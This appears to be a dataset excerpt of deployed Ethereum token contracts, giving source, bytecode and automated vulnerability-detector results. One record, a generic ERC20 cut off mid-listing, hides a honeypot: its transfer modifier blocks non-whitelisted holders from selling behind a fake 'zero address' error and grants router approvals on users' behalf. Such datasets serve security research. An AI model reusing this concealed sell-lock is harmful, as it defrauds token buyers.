return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract SUSHIINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name ="Sushi Inu";
string private constant _symbol ="SUSHIINU";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 12, "not larger than 12%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f4578063cf0848f714610409578063cf9d4afa14610429578063dd62ed3e14610449578063e6ec64ec1461048f578063f2fde38b146104af57600080fd5b8063715018a6146103265780638da5cb5b1461033b57806390d49b9d1461036357806395d89b4114610383578063a9059cbb146103b4578063b515566a146103d457600080fd5b806331c2d8471161010857806331c2d8471461023f5780633bbac5791461025f578063437823ec14610298578063476343ee146102b85780635342acb4146102cd57806370a082311461030657600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b657806318160ddd146101e657806323b872dd1461020b578063313ce5671461022b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cf565b005b34801561017e57600080fd5b50604080518082019091526009815268537573686920496e7560b81b60208201525b6040516101ad91906118ed565b60405180910390f35b3480156101c257600080fd5b506101d66101d1366004611967565b61051b565b60405190151581526020016101ad565b3480156101f257600080fd5b50678ac7230489e800005b6040519081526020016101ad565b34801561021757600080fd5b506101d6610226366004611993565b610532565b34801561023757600080fd5b5060096101fd565b34801561024b57600080fd5b5061017061025a3660046119ea565b61059b565b34801561026b57600080fd5b506101d661027a366004611aaf565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a457600080fd5b506101706102b3366004611aaf565b610631565b3480156102c457600080fd5b5061017061067f565b3480156102d957600080fd5b506101d66102e8366004611aaf565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031257600080fd5b506101fd610321366004611aaf565b6106b9565b34801561033257600080fd5b506101706106db565b34801561034757600080fd5b506000546040516001600160a01b0390911681526020016101ad565b34801561036f57600080fd5b5061017061037e366004611aaf565b610711565b34801561038f57600080fd5b506040805180820190915260088152675355534849494e5560c01b60208201526101a0565b3480156103c057600080fd5b506101d66103cf366004611967565b61078b565b3480156103e057600080fd5b506101706103ef3660046119ea565b610798565b34801561040057600080fd5b506101706108b1565b34801561041557600080fd5b50610170610424366004611aaf565b610969565b34801561043557600080fd5b50610170610444366004611aaf565b6109b4565b34801561045557600080fd5b506101fd610464366004611acc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049b57600080fd5b506101706104aa366004611b05565b610c0f565b3480156104bb57600080fd5b506101706104ca366004611aaf565b610c85565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016104f990611b1e565b60405180910390fd5b600061050d306106b9565b905061051881610d1d565b50565b6000610528338484610e97565b5060015b92915050565b600061053f848484610fbb565b610591843361058c85604051806060016040528060288152602001611c99602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113d6565b610e97565b5060019392505050565b6000546001600160a01b031633146105c55760405162461bcd60e51b81526004016104f990611b1e565b60005b815181101561062d576000600560008484815181106105e9576105e9611b53565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062581611b7f565b9150506105c8565b5050565b6000546001600160a01b0316331461065b5760405162461bcd60e51b81526004016104f990611b1e565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062d573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052c90611410565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016104f990611b1e565b61070f6000611494565b565b6000546001600160a01b0316331461073b5760405162461bcd60e51b81526004016104f990611b1e565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610528338484610fbb565b6000546001600160a01b031633146107c25760405162461bcd60e51b81526004016104f990611b1e565b60005b815181101561062d57600c5482516001600160a01b03909116908390839081106107f1576107f1611b53565b60200260200101516001600160a01b0316141580156108425750600b5482516001600160a01b039091169083908390811061082e5761082e611b53565b60200260200101516001600160a01b031614155b1561089f5760016005600084848151811061085f5761085f611b53565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a981611b7f565b9150506107c5565b6000546001600160a01b031633146108db5760405162461bcd60e51b81526004016104f990611b1e565b600c54600160a01b900460ff1661093f5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f9565b600c805460ff60b81b1916600160b81b17905542600d8190556109649061012c611b9a565b600e55565b6000546001600160a01b031633146109935760405162461bcd60e51b81526004016104f990611b1e565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109de5760405162461bcd60e51b81526004016104f990611b1e565b600c54600160a01b900460ff1615610a465760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f9565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac19190611bb2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b329190611bb2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba39190611bb2565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c395760405162461bcd60e51b81526004016104f990611b1e565b600c811115610c805760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b60448201526064016104f9565b600855565b6000546001600160a01b03163314610caf5760405162461bcd60e51b81526004016104f990611b1e565b6001600160a01b038116610d145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f9565b61051881611494565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6557610d65611b53565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de29190611bb2565b81600181518110610df557610df5611b53565b6001600160a01b039283166020918202929092010152600b54610e1b9130911684610e97565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e54908590600090869030904290600401611bcf565b600060405180830381600087803b158015610e6e57600080fd5b505af1158015610e82573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b038216610f5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f9565b6001600160a01b0382166110815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b600081116110e35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f9565b6001600160a01b03831660009081526005602052604090205460ff161561118b5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f9565b6001600160a01b03831660009081526004602052604081205460ff161580156111cd57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e35750600c54600160a81b900460ff16155b80156112135750600c546001600160a01b03858116911614806112135750600c546001600160a01b038481169116145b156113c457600c54600160b81b900460ff166112715760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f9565b50600c546001906001600160a01b0385811691161480156112a05750600b546001600160a01b03848116911614155b80156112ad575042600e54115b156112f45760006112bd846106b9565b90506112dd60646112d7678ac7230489e8000060026114e4565b90611563565b6112e784836115a5565b11156112f257600080fd5b505b600d54421415611322576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132d306106b9565b600c54909150600160b01b900460ff161580156113585750600c546001600160a01b03868116911614155b156113c25780156113c257600c5461138c906064906112d790600f90611386906001600160a01b03166106b9565b906114e4565b8111156113b957600c546113b6906064906112d790600f90611386906001600160a01b03166106b9565b90505b6113c281610d1d565b505b6113d084848484611604565b50505050565b600081848411156113fa5760405162461bcd60e51b81526004016104f991906118ed565b5060006114078486611c40565b95945050505050565b60006006548211156114775760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f9565b6000611481611707565b905061148d8382611563565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114f35750600061052c565b60006114ff8385611c57565b90508261150c8583611c76565b1461148d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f9565b600061148d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061172a565b6000806115b28385611b9a565b90508381101561148d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f9565b808061161257611612611758565b60008060008061162187611774565b6001600160a01b038d166000908152600160205260409020549397509195509350915061164e90856117bb565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461167d90846115a5565b6001600160a01b03891660009081526001602052604090205561169f816117fd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e491815260200190565b60405180910390a3505050508061170057611700600954600855565b5050505050565b6000806000611714611847565b90925090506117238282611563565b9250505090565b6000818361174b5760405162461bcd60e51b81526004016104f991906118ed565b5060006114078486611c76565b60006008541161176757600080fd5b6008805460095560009055565b60008060008060008061178987600854611887565b915091506000611797611707565b90506000806117a78a85856118b4565b909b909a5094985092965092945050505050565b600061148d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d6565b6000611807611707565b9050600061181583836114e4565b3060009081526001602052604090205490915061183290826115a5565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118628282611563565b82101561187e57505060065492678ac7230489e8000092509050565b90939092509050565b6000808061189a60646112d787876114e4565b905060006118a886836117bb565b96919550909350505050565b600080806118c286856114e4565b905060006118d086866114e4565b905060006118de83836117bb565b92989297509195505050505050565b600060208083528351808285015260005b8181101561191a578581018301518582016040015282016118fe565b8181111561192c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051857600080fd5b803561196281611942565b919050565b6000806040838503121561197a57600080fd5b823561198581611942565b946020939093013593505050565b6000806000606084860312156119a857600080fd5b83356119b381611942565b925060208401356119c381611942565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119fd57600080fd5b823567ffffffffffffffff80821115611a1557600080fd5b818501915085601f830112611a2957600080fd5b813581811115611a3b57611a3b6119d4565b8060051b604051601f19603f83011681018181108582111715611a6057611a606119d4565b604052918252848201925083810185019188831115611a7e57600080fd5b938501935b82851015611aa357611a9485611957565b84529385019392850192611a83565b98975050505050505050565b600060208284031215611ac157600080fd5b813561148d81611942565b60008060408385031215611adf57600080fd5b8235611aea81611942565b91506020830135611afa81611942565b809150509250929050565b600060208284031215611b1757600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b9357611b93611b69565b5060010190565b60008219821115611bad57611bad611b69565b500190565b600060208284031215611bc457600080fd5b815161148d81611942565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1f5784516001600160a01b031683529383019391830191600101611bfa565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c5257611c52611b69565b500390565b6000816000190483118215151615611c7157611c71611b69565b500290565b600082611c9357634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f401894fa42a9f8e69b62dc685cf3fc9e6618f4c52c48167d999c11a90a8229764736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,194 |
0xd4520e5ba9dff3d40c7f47a6c9fd7ac336b60bef | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
